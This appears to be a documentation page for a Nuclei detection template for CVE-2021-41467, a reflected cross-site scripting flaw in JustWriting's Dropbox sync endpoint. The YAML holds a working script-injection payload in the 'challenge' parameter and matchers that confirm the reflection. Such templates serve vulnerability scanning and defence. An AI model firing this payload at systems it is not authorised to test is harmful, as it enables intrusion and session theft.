JustWriting - Cross-Site Scripting
ID: CVE-2021-41467
Severity: medium
Author: madrobot
Tags: cve2021,cve,justwriting,xss,justwriting_project
Description
Section titled “Description”A cross-site scripting vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter.
YAML Source
Section titled “YAML Source”id: CVE-2021-41467
info: name: JustWriting - Cross-Site Scripting author: madrobot severity: medium description: A cross-site scripting vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information. remediation: | Upgrade to the latest version to mitigate this vulnerability. reference: - https://github.com/hjue/JustWriting/issues/106 - https://nvd.nist.gov/vuln/detail/CVE-2021-41467 - https://github.com/hjue/JustWriting/ - https://github.com/ARPSyndicate/cvemon - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-41467 cwe-id: CWE-79 epss-score: 0.00136 epss-percentile: 0.48885 cpe: cpe:2.3:a:justwriting_project:justwriting:1.0.0:*:*:*:*:*:*:* metadata: max-request: 1 vendor: justwriting_project product: justwriting tags: cve2021,cve,justwriting,xss,justwriting_project
http: - method: GET path: - '{{BaseURL}}/sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and matchers: - type: word part: body words: - "</script><script>alert(document.domain)</script>"
- type: word part: header words: - "text/html"
- type: status status: - 200# digest: 4a0a00473045022100c8f7202e53641dc07c0e921dea4ed06134f51d2dfedc514d061960da2a2e7bac02204fa1ab68ad0a1e40486da901ce116f8d5ae613afc6b7c72964a9c8efa5dc9b64:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-41467.yaml"